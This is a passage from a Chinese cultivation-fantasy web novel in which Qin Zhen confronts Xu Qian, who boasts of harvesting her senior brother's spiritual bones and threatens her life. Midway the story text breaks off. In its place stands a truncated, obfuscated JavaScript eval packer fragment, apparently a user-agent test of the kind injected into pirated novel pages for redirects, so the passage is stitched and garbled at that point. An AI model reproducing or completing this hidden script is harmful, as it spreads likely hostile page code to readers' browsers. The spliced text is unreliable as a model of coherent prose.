秦蓁目中憎意更深,却是压住了怒气,仅说:“我师兄早已与你们毫无干系,魂隐宗也早已不是他的师门。” 许乾没想到他说了一堆结果秦蓁揪着个师门开口,诧异一愣,旋即不屑道:“计较无用之事。” “魂隐宗与许翊之也许久未相犯了,不如你回头问问你那好师兄,他可会打破平衡向魂隐宗发难?” 许乾冷冷狞笑:“不怕告诉你,我入门时不过个筑基都困难的小弟子,能至元婴,全靠——” “许翊之的根骨!” 他面上扬起诡异的笑,讥诮道:“真没想到,不过天赋平平之人,根骨取出来倒是比长在他体内有用多了,他那点根骨炼成灵宝,可是让我宗半数人破了修为桎梏。” “他连幻象阵是以魔气压阵眼都同你们说了,那换根骨你们肯定也知道,我好心提醒一句——你天赋根骨这般好,说不定哪天许翊之撑不住……他也清楚剔骨之法,你这位师妹可得留心点他。” “还有……” 秦蓁对上许乾的眼,里面满是戏谑:“就只有对上你时我启用了这阵法,其他人进的是普通的幻象阵。” “只有你进了我这阵,只有你能探出那点血气魔气,可你又仅仅是个刚入道没多久的小弟子……” 许乾笑意刺目:“你说,谁会信你呢?” “我确实想杀你。只是没想到你竟能破阵,本想将你弄成个神智癫狂的疯子什么的,结果反倒让我自己受到阵法反噬了。不过也无妨——” 许乾抵住秦蓁剑身的手散了灵力,指尖轻敲她的剑身:“按修道同门的叫法,我也能叫你声师妹,秦师妹,往后外出历练可得多加留心。” 许乾阴鸷笑道:“我等着取你性命呢。” 秦蓁容色未改,镇静开口:“为何?你我何仇?或是……你们想对付我师兄?” 许乾还在敲着不悔剑身:“仇称不上,至于许翊之,其实他只是倒霉了一点,他那性子根本不招惹人。” “不过我倒可以答你缘由,一因你天赋根骨好,我想挖了。” “二因杀个宗门新秀……”许乾笑意更深,语调拖长:“好玩啊。” 秦蓁眼神一凛,杀意更盛,而许乾竟在这时松了抵握剑身的手,任她手中剑又进一寸。 “也想杀我?你尽管试试。且看能不能顺你心意?或者说,争回公道?” 许乾懒洋洋开口,甚至身上杀气都收尽。 秦蓁倏地抽剑,剑光刺目,带起横飞血肉,许乾没料到她突然动作,一时未能反应,连护着心脉的灵力都被剑身抽出的动作带得溃散。 他猛地吐出几大口血,迅速抬手捂住心口冒出的那一小团黑红色……似是魔气? 他动作太快,连秦蓁都只看见一眼,她皱眉,不知是不是自己错看。虽然她在阵中窥见魔气,但许乾身上确实一丝未沾,仅有纯正的宗门修真人的灵气。 秦蓁敛下探究的神色,语气斩钉截铁的诈他:“魂隐宗与魔域有关。” 许乾半天才缓过来,他弓身踉跄,抬眼看秦蓁,但这回却不多说其它:“你可要慎言。你那好师兄没告诉过你吗?魂隐宗从前排不上宗门名号,就是因着在历任魔尊那儿吃了大苦头,牺牲了太多弟子。你要说我宗与魔域有关,不如先听听外界评说?” 秦蓁闻言沉默。 师兄没告诉她。 师兄什么都没说,没说过什么幻象阵,没说过什么魔气压阵眼,仅提过的一句他根骨被换,还是因为她刚好问到。 再多的便没有了。他也从没告诉她说,他是被剔出根骨,而他的根骨又被他人造用,成了个攀升修为的灵宝。 他唯一提过魂隐宗的一句,是说那是他从前的家。 不知是因得知师兄苦痛,还是因她方才在幻象阵中看见的混乱片段,秦蓁怨恨渐起,痛意难抑杀意难消,竟也感到不悔剑在嗡鸣着散出戾气。 她紧握着剑柄,竭力克制挥剑冲动。 若在宗门大比的擂台上杀了许乾,定会落人口实,还会祸及道源宫的人。 且她无法举证,纵然那是个沾了血气魔气、不知以何物作引启动的凶阵,许乾也为其披上了幻象阵的外皮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏逐闻声望过来的眼仍是平和,但秦蓁细细看,又觉深处藏了锋芒。 “我以五大宗门长老名义,邀两界观执法长老调查此事。” 人群瞬间沸腾:“抽魂!” “上古禁术啊!怎可能……” “但魂隐宗从前不是有传闻……上任掌门逝世后,禁地封印被破……现今那位……” “少言!势强……声弱……” 众人低声窃语,秦蓁听不清更多。 “这苏长老是坐忘峰长老?坐忘峰是不是许翊之拜的那个?许翊之从前可是魂隐宗的人,怕是抖出了家门绝学给道源宫……” “嗤!许翊之那等杀父杀母还能逍遥在外的恶人,还有柳清沂……也就道源宫肯收!他这话未可尽信!” “这苏长老何人?从未听闻过这人……” 人声鼎沸,苏逐继续道:“正好,与柳一之死一同查罢。” 秦蓁讶然:“柳一她……” “方才你还在比试时,地门弟子上报的消息,已有执法长老去探查,不必多在意。”苏逐说。 秦蓁稍有些愣的点点头,却是想着,柳一有那等古怪结界作屏障,谁能杀她?且她真的……死了?